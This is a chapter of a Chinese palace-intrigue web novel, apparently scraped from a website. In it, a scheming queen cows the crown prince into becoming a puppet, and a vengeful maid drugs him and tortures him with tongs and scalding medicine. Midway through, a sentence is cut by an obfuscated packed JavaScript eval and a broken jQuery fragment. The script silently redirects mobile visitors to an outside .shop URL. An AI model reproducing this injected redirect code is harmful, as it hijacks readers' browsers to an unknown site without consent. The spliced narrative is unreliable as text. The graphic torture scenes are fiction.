17.第 17 章
    池婙眸光一闪,“当真?”

    赵纯小鸡啄米似的,拼命点头,“真的,真的!”

    池婙眯起眼睛,“既然如此,灵琼,就再给他一次机会吧。”

    灵琼脸上闪过一丝不甘,但还是将铁钳缩了回去。

    池婙朝赵纯招了招手,“乖孩子,你过来。”

    赵纯松了口气,立刻躲开那把铁钳,硬着头皮膝行到池婙身前,仰着脸,露出讨好的笑,“阿娘。”

    池婙盯住他谄笑的脸,眉头微皱,小小年纪就学得这么老成圆滑,难怪赵明月会怕他。

    声音冷了几分,“太子,你应该知道,骗我会是什么下场。”

    赵纯点点头,很是乖巧的模样。

    “既然如此,那你就照我说的去做……这些,能够做到么?”

    乖乖当傀儡皇帝,一切实权全部交到她手里?

    赵纯听完池婙的要求,心中愤恨不已,脸上却依旧讨好笑着,“都听阿娘的。”

    暂且安抚住她,以后还有的是机会!

    赵纯正盘算着,忽然,池婙俯下身,凑到了他耳边。

    低哑而冰冷的声音响起,“既然我能悄无生息地除掉你爹,自然也能悄无声息地除掉你,我劝你最好别自作聪明。”

    赵纯惊恐地瞪大了眼睛,身体不受控制颤抖起来。

    她真的杀了父皇!

    这之前关于池皇后杀了皇帝的说法,赵纯以为都是李贤佑臆测的,但他乐得坐实这个谣传。

    可现在,这个可怕的真相竟然从凶手嘴里得到了证实。

    赵纯心底的防线瞬间被击溃,抬头看向池婙,只见她唇角含着笑意,白多黑少的眼睛像是某种野兽,紧紧盯住了他。

    前所未有的恐惧涌上心头,让他彻底失去了反抗的念头。

    不……绝不能和这个女人作对……会死的……

    他张开嘴,想要说些什么,却发现喉咙紧得发疼,这时,门外有人通传。

    “主子,李宰相来了,要求见太子殿下。”

    “让他滚,我不见!”赵纯惊恐出声,他必须和这些妄想对付池皇后的官员划清界限。

    池婙嘴角微勾,“让李宰相进来吧,太子正好有事要和他商议呢,是吧,太子?”

    赵纯想起她刚才的要求,顿时明白过来,脸色灰败下去,“是,是的。”

    池婙这才直起身,看了赵纯一眼,没有再多说什么,携过赵明月的手,走去了后面的房间。

    灵琼也收起铁钳,跟了上去。

    大殿里只剩下了赵纯一个人。

    他从地上爬起来,惊魂未定地在椅子上坐下,还没来得及喘口气,门口就响起了沉重而急促的脚步声。

    李勉微喘着气,大步走进来,躬身向他行礼。

    “老臣来晚了,还请殿下恕罪。”

    ————

    李勉怎么也不会想到,就在他跟赵纯痛骂商议池皇后的时候,池皇后本人就在一墙之隔的内室里,将他的话听得一清二楚。

    不必去看,她也知道这老登会是怎样一副吹胡子瞪眼的恶心模样。

    池婙很清楚,她只是一时恐吓住了赵纯,他这次不敢反抗,不代表下次不敢。

    想要一劳永逸,就得把赵纯做成真正的傀儡。

    想到这,池婙拿出从系统商店兑换到的药粉,交到灵琼手里,“太子惊吓过度,给他熬碗静心安神的汤药来。”

    灵琼没有多问,拿上药粉,转身从后门走了出去。

    来到没有人的厨房,找出药罐子,将药粉尽数倒进去,接着生火,煎药。

    她安静看着炉子上跳跃的火苗,忽然笑了一声,像是想起了什么高兴的事情,随后越笑越大声,肩膀止不住地抖动。

    好半晌,才停下来,收住笑意。

    她之所以要投靠池皇后,就是为了今天啊!

    就是为了看到太子殿下像狗一样趴在地上痛哭求饶啊!

    这怎么能不让她放声大笑呢?

    当赵纯按住她的手,不顾她的哀求,把她的指甲一片一片拔下来时,她就在心中发誓,哪怕是死,也一定要让他付出代价。

    为此,她一直拼命忍耐。

    直到那天,她亲眼看着玉照挖出了李贤佑的眼珠子,心中蓦地响起一个声音,报仇的机会来了。

    果不其然,很快,玉照被封为一等侍卫,并且放出消息,要招收会武艺的女子,组建皇后的亲卫队。

    所有人都拿这当笑话听,女子天生羸弱,怎么可能保护得了皇后的安全?

    灵琼听着她们的议论,只是在心中冷笑,想加入亲卫队,可不是拥有一个强健的身体就可以的。

    最重要的,是要有决心。

    池皇后要的不是一支强者的队伍,而是拥有某种决心誓死效忠于她的人。

    没有这种决心的女人,哪怕真的武艺高强,也不会有加入亲卫队的念头。

    这种离经叛道,并且注定要承受世人质疑和异样目光的选择,哪有那么简单?

    可偏偏,这对灵琼来说,就是最简单的。

    因为她有的,是必死的决心。

    否则,她怎么敢躲在营帐外,冒着被砍头的风险,偷听李贤佑和太子的谈话呢?

    又怎么敢趁夜色摸到玉照的住处,把废后诏书的消息告诉她,并以此要求加入护卫队?

    她现在还能清楚回想起,那个不动声色说着杀人如杀猪的一等侍卫,脸上平静的表情是如何裂开的。

    然后,她就见到了池皇后。

    比起玉照,池皇后的反应就平静多了。

    她那双望过来的深邃眼眸里,看不到对奴仆的傲慢和鄙夷,也看不到对她悲惨遭遇的怜悯和同情,流露出来的是一种更无情,更难以揣摩的情绪。

    像是无尽的深渊,看过去只有一片虚无,令她不由自主地生出敬畏之心。

    池皇后问她:“你想要什么?”

    如此直白的询问,让灵琼意识到,她准备好的那些说辞既虚假又苍白。

    内心忽然生出说真话的冲动。

    这是她第一次想要向别人吐露真实想法,而这,也有可能是最后一次。

    所以,为什么不可以呢?

    灵琼抬头看着池婙,阴翳的眼眸中涌上某种近乎自毁般的偏执。

    “我想报仇,我想要他承受我所承受的痛苦!”

    这种惊世骇俗的想法,任谁听了都会被吓到的吧,那人可是太子,而她不过是一个卑微的宫女。

    可是宫女也是人啊,也会痛会哭会愤怒,被伤害了也会想要报复。

    池婙低声笑了,“如你所愿。”

    “继续留在太子身边,直至他失去一切。”

    这之后,灵琼就按照池婙的吩咐,暗暗监视着太子,并将消息传递过去。

    蛰伏了这么久,今天,她终于得偿所愿了。

    天知道刚才她拿着铁钳时,是多么想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575757|142257||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把赵纯的舌头拔下来啊!

    炉子上煎的药咕嘟咕嘟响起来,灵琼瞬间回神,拿过厚布包住药罐子,提起来,滤去药渣,将药水倒进碗里。

    闻着药汁的苦涩香气,她有些疑惑,这真的只是静心安神的药?

    灵琼摇摇头,算了,没必要想这么多,按照池皇后说的做就是了。

    反正过不了多久,她就可以成功报仇了。

    灵琼端起汤药,朝明德殿走去,才走到门口,就听见里面传来摔碎杯盏的声音。

    她弯起了嘴角,看来太子和李宰相的谈话不是很愉快啊。

    等了一会,听到屋里安静下来,才抬脚走进去。

    “太子殿下,该喝药了。”

    ————

    “我,我都照你说的做了,别拔我舌头!”

    赵纯恐惧地看着池婙,双手捂住嘴,颤抖起来,再也没有一开始的凶狠模样。

    “太子要是真听话,就快把药喝了吧,”池婙说,伸手指了指灵琼端来的药碗,“放心,这药没毒,只是会让你好好睡一觉而已。”

    赵纯看着那碗乌黑的药水,心中忐忑不安,这真的不是毒药吗?

    可此时他已经吓破了胆,也不敢拒绝池婙,哭着哀求道:“我,我已经知道错了,我以后一定全听阿娘的,饶了我吧……”

    心中害怕的同时,也生出莫大的后悔,他当初就不该听李贤佑的跟池皇后作对的。

    在这折腾了这么久,池婙都累了,懒得再跟赵纯浪费口舌。

    转过脸,看向灵琼,漆黑眼瞳冷意森森,声音更冷,“灵琼,你来给太子喂药,他的安危,我就交托给你了,我该回去休息了。”

    灵琼猛地抬起头,这话,是她想的那个意思吗?是说她可以对太子实施报复了吗?

    迟疑着,还未来得及询问,池皇后就已经转过身,从她身侧走了过去。

    擦身而过的瞬间,灵琼感觉肩膀被轻轻按了一下,一道低语撩过耳畔,“别让人死了。”

    灵琼微怔,继而是狂喜,强抑着情绪,屈膝行礼,“是,奴婢恭送皇后!”

    殿门被缓缓关上,发出沉闷的一声重响。

    灵琼看向赵纯,手上再次拿起铁钳,恭敬而又谦卑地说:“太子,就让奴婢来伺候你喝药吧。”

    赵纯瞪大了眼睛,血丝漫上眼珠,恐惧让他脸色发白,嘴唇都开始发抖,“你……你别过来……走开啊啊啊!”

    灵琼没有说话,缓步走到赵纯身前,猛地一屈膝往他□□狠力一顶,赵纯痛得惨叫了一声,捂着裆部倒在地上,两眼翻白,险些晕过去。

    “太子殿下,很痛吗?痛就对了,因为我受到的痛苦是你的十倍百倍!”灵琼咬牙说着,单膝压住赵纯,一手掐住他的下巴,一手拿起铁钳塞进他嘴里,用力打开。

    接着,端过尚且滚烫的汤药,干脆利落地倒进赵纯被迫张开的嘴中。

    “啊啊啊啊啊——”

    药汁灌进柔软的口腔,灼烧着舌头和喉管,凄厉而呜咽的惨叫声响起,声音变得含糊不清。

    殿门外,玉照和侍卫们听到这声音,不由得对视了一眼,都看到了彼此眼中微妙的恐惧。

    然而,她们并不知道,明德殿内的惨叫声,还会持续很久,很久,直到她们听到麻木。

    跟着池婙走远了的赵明月像是有所察觉,忽然停住脚步,回头看了一眼。

    “阿娘,你给赵纯喝的,真的是安神药吗?”